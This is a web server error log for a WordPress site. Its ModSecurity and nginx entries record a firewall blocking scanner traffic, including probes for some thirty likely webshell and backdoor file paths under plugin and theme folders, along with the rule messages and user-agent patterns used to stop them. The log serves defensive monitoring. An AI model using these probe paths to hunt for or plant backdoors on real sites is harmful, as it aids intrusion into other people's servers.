[Wed Mar 11 17:24:13.029002 2026] [:error] [pid 54045:tid 54062] [client 51.77.216.36:58162] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abE0vSRcKzQ1f-N8TgR0oQAAAM8"]
2026/03/11 17:24:13 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /ufabet%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20wallet.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:24:14.682152 2026] [:error] [pid 45143:tid 45163] [client 51.77.216.36:58184] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abE0viEXSpYdWImkpzbJTgAAAZI"]
2026/03/11 17:24:14 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /w69%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/w69%20slot.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:24:16 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /wallet%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/wallet%20slot.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:24:16.327458 2026] [:error] [pid 44995:tid 45003] [client 51.77.216.36:58202] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abE0wDoOSr9ks_axo6OOOgAAAkY"]
[Wed Mar 11 17:24:28.609045 2026] [:error] [pid 54045:tid 54055] [client 51.77.216.36:58340] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abE0zCRcKzQ1f-N8TgR0xgAAAMg"]
2026/03/11 17:24:28 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /we88%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/we88%20slot.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:24:30.324250 2026] [:error] [pid 53954:tid 53984] [client 51.77.216.36:58380] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abE0zrbD1J_Nhe6jce2N4gAAAEA"]
2026/03/11 17:24:30 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /www%20ufabet%20com.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/www%20ufabet%20com.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:24:32 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /xo%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/xo%20slot.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:24:32.026605 2026] [:error] [pid 44882:tid 44892] [client 51.77.216.36:58426] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abE00FC06UlbDFYZNg383gAAAgg"]
[Wed Mar 11 17:24:33.760786 2026] [:error] [pid 44995:tid 45001] [client 51.77.216.36:58460] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abE00ToOSr9ks_axo6OOSAAAAkQ"]
2026/03/11 17:24:33 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /yakuza%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/yakuza%20slot.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 19:15:57.674629 2026] [autoindex:error] [pid 44995:tid 45002] [client 20.2.141.62:47928] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Mar 11 21:44:10.643154 2026] [:error] [pid 23512:tid 23533] [client 62.61.165.84:39734] [client 62.61.165.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abFxqqeuPtNfm7KRzWXaWwAAAVI"]
[Thu Mar 12 00:17:50.536806 2026] [:error] [pid 44800:tid 44810] [client 125.166.116.99:35472] [client 125.166.116.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abGVrjN8ZerbIEHTO2quHQAAAcg"]
2026/03/12 03:17:57 [error] 53483#53483: *1361310 connect() failed (111: Connection refused) while connecting to upstream, client: 52.28.162.93, server: measureyourbrand.com.au, request: "HEAD / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/"
[Thu Mar 12 06:53:07.035482 2026] [:error] [pid 51540:tid 51564] [client 143.198.102.46:42442] [client 143.198.102.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/favicon.ico"] [unique_id "abHyU2OFFjotMIN2UD0nwgAAANY"]
[Thu Mar 12 06:53:07.370771 2026] [:error] [pid 51540:tid 51559] [client 143.198.102.46:42450] [client 143.198.102.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "abHyU2OFFjotMIN2UD0nxAAAANE"]
[Thu Mar 12 06:53:07.987779 2026] [:error] [pid 51455:tid 51479] [client 143.198.102.46:55224] [client 143.198.102.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/favicon.ico"] [unique_id "abHyU5E0YyNxdg6PL_Dw6AAAABM"]
[Thu Mar 12 06:53:08.660378 2026] [:error] [pid 51540:tid 51565] [client 143.198.102.46:55234] [client 143.198.102.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "abHyVGOFFjotMIN2UD0nxgAAANc"]
[Thu Mar 12 07:23:13.430224 2026] [:error] [pid 51540:tid 51556] [client 111.172.249.49:53383] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abH5YWOFFjotMIN2UD05qgAAAM4"]
[Thu Mar 12 08:08:01.623299 2026] [:error] [pid 51457:tid 51524] [client 78.164.206.213:62353] [client 78.164.206.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.164.206.213, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abID4Sjknw2FvT4H3DZ_EwAAAIo"]
[Thu Mar 12 14:16:35.309055 2026] [:error] [pid 51455:tid 51477] [client 43.164.197.177:60976] [client 43.164.197.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abJaQ5E0YyNxdg6PL_DMZQAAABE"]
[Thu Mar 12 14:22:06.380536 2026] [:error] [pid 22063:tid 22071] [client 37.140.254.23:41169] [client 37.140.254.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403x.php"] [unique_id "abJbjq0RUhS-MJyHWLTWVwAAAgY"]
[Thu Mar 12 14:22:07.744227 2026] [:error] [pid 8249:tid 8275] [client 37.140.254.25:53833] [client 37.140.254.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/semrush/x.php"] [unique_id "abJbjyK5dL3-8Jdf0M2J9wAAARg"]
[Thu Mar 12 14:22:09.046249 2026] [:error] [pid 51455:tid 51470] [client 37.140.254.27:48285] [client 37.140.254.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hello-plus/classes/ehp-sarang.php"] [unique_id "abJbkZE0YyNxdg6PL_DPBgAAAAo"]
[Thu Mar 12 14:22:10.384572 2026] [:error] [pid 8249:tid 8266] [client 37.140.254.31:40765] [client 37.140.254.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "abJbkiK5dL3-8Jdf0M2J_QAAAQ8"]
[Thu Mar 12 14:22:12.530751 2026] [:error] [pid 11985:tid 12012] [client 37.140.254.5:20315] [client 37.140.254.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/WPManager/up.php"] [unique_id "abJblHcAcNujsOssVDf4fAAAAZU"]
[Thu Mar 12 14:22:13.576297 2026] [:error] [pid 11985:tid 12002] [client 37.140.254.18:30727] [client 37.140.254.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/builder-and-developer/inc/tgm/error.php"] [unique_id "abJblXcAcNujsOssVDf4fgAAAYs"]
[Thu Mar 12 14:22:14.578347 2026] [:error] [pid 8249:tid 8264] [client 37.140.254.19:64495] [client 37.140.254.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-responsive-menu/inc/js/ace-min-noconflict/403x.php"] [unique_id "abJbliK5dL3-8Jdf0M2KCQAAAQ0"]
[Thu Mar 12 14:22:15.679980 2026] [:error] [pid 51455:tid 51469] [client 37.140.254.26:59387] [client 37.140.254.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/advanced-llms-txt-generator/assets/css/css_json.php"] [unique_id "abJbl5E0YyNxdg6PL_DPCAAAAAk"]
[Thu Mar 12 14:22:16.749293 2026] [:error] [pid 11986:tid 12024] [client 37.140.254.48:42047] [client 37.140.254.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/age-restriction/modules/remote_support/remote_init.php"] [unique_id "abJbmDKqY2w-DVCrxTDJCgAAAcY"]
[Thu Mar 12 14:22:17.671967 2026] [:error] [pid 51455:tid 51467] [client 37.140.254.29:29015] [client 37.140.254.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/patterns/template-singl-portfolio.php"] [unique_id "abJbmZE0YyNxdg6PL_DPDAAAAAc"]
[Thu Mar 12 14:22:19.959271 2026] [:error] [pid 8249:tid 8261] [client 37.140.254.36:42121] [client 37.140.254.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/advanced-product-fields-for-woocommerce/db.php"] [unique_id "abJbmyK5dL3-8Jdf0M2KOAAAAQo"]
[Thu Mar 12 14:22:20.938362 2026] [:error] [pid 51455:tid 51482] [client 37.140.254.8:45427] [client 37.140.254.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/template-singl-portfolio.php"] [unique_id "abJbnJE0YyNxdg6PL_DPEwAAABY"]
[Thu Mar 12 14:22:22.054604 2026] [:error] [pid 51455:tid 51472] [client 37.140.254.37:50979] [client 37.140.254.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentythree/patterns/index.php"] [unique_id "abJbnpE0YyNxdg6PL_DPGAAAAAw"]
[Thu Mar 12 14:22:23.349361 2026] [:error] [pid 51455:tid 51465] [client 37.140.254.13:61893] [client 37.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "abJbn5E0YyNxdg6PL_DPIQAAAAU"]
[Thu Mar 12 14:22:24.250648 2026] [:error] [pid 51455:tid 51473] [client 37.140.254.6:59655] [client 37.140.254.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wpforms/class-wpforms-update.php"] [unique_id "abJboJE0YyNxdg6PL_DPJAAAAA0"]
[Thu Mar 12 14:22:25.565090 2026] [:error] [pid 8249:tid 8254] [client 37.140.254.12:31347] [client 37.140.254.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/phpadmin/autoload_classmap.php"] [unique_id "abJboSK5dL3-8Jdf0M2KSAAAAQM"]
[Thu Mar 12 14:22:26.647624 2026] [:error] [pid 11986:tid 12036] [client 37.140.254.38:24877] [client 37.140.254.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/js-inc.php"] [unique_id "abJbojKqY2w-DVCrxTDJDAAAAdI"]
[Thu Mar 12 14:22:27.640255 2026] [:error] [pid 11986:tid 12029] [client 37.140.254.18:21785] [client 37.140.254.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wpcall-button/button-image.php"] [unique_id "abJbozKqY2w-DVCrxTDJDQAAAcs"]
[Thu Mar 12 14:22:28.762423 2026] [:error] [pid 51540:tid 51551] [client 37.140.254.42:57295] [client 37.140.254.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/SecurityFin/SecurityFin.php"] [unique_id "abJbpGOFFjotMIN2UD20wAAAAMk"]
[Thu Mar 12 14:22:31.400612 2026] [:error] [pid 8249:tid 8266] [client 37.140.254.19:30465] [client 37.140.254.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/fukasawa/inc/classes/403.php"] [unique_id "abJbpyK5dL3-8Jdf0M2KiQAAAQ8"]
[Thu Mar 12 14:22:32.754355 2026] [:error] [pid 22063:tid 22082] [client 37.140.254.2:34907] [client 37.140.254.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hello-plus/classes/ehp-social-elf.php"] [unique_id "abJbqK0RUhS-MJyHWLTWgQAAAhE"]
[Thu Mar 12 14:22:34.372069 2026] [:error] [pid 51455:tid 51460] [client 37.140.254.57:63577] [client 37.140.254.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "abJbqpE0YyNxdg6PL_DPRwAAAAA"]
[Thu Mar 12 14:22:36.477052 2026] [:error] [pid 51457:tid 51519] [client 37.140.254.1:61971] [client 37.140.254.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/WordPressCore/include.php"] [unique_id "abJbrCjknw2FvT4H3DaeGgAAAIU"]
[Thu Mar 12 14:22:37.745440 2026] [:error] [pid 11986:tid 12022] [client 37.140.254.19:39251] [client 37.140.254.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/dummyyummy/wp-signup.php"] [unique_id "abJbrTKqY2w-DVCrxTDJHgAAAcQ"]
[Thu Mar 12 14:22:38.771677 2026] [:error] [pid 22063:tid 22084] [client 37.140.254.6:57275] [client 37.140.254.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/dzs-zoomsounds/1877.php"] [unique_id "abJbrq0RUhS-MJyHWLTWhAAAAhM"]
[Thu Mar 12 14:22:40.366590 2026] [:error] [pid 22063:tid 22087] [client 37.140.254.30:54301] [client 37.140.254.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "abJbsK0RUhS-MJyHWLTWiQAAAhY"]
[Thu Mar 12 14:22:41.844905 2026] [:error] [pid 11953:tid 11961] [client 37.140.254.2:22697] [client 37.140.254.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/linkpreview/index.php"] [unique_id "abJbsZudzqsnq3bvtDYJhwAAAUY"]
[Thu Mar 12 14:22:43.583390 2026] [:error] [pid 22063:tid 22066] [client 37.140.254.25:51003] [client 37.140.254.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/linkpreview/db.php"] [unique_id "abJbs60RUhS-MJyHWLTWiwAAAgE"]
[Thu Mar 12 14:22:44.862447 2026] [:error] [pid 51456:tid 51499] [client 37.140.254.39:47175] [client 37.140.254.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/seoplugins/db.php"] [unique_id "abJbtBXu8LzVixNGr0tM8wAAAEw"]
[Thu Mar 12 14:22:46.365722 2026] [:error] [pid 51456:tid 51505] [client 37.140.254.8:51861] [client 37.140.254.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/aatdgetgdg/main.php"] [unique_id "abJbthXu8LzVixNGr0tM9QAAAFI"]
[Thu Mar 12 14:22:47.578819 2026] [:error] [pid 11985:tid 12002] [client 37.140.254.12:20397] [client 37.140.254.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/init-help/init.php"] [unique_id "abJbt3cAcNujsOssVDf4ngAAAYs"]
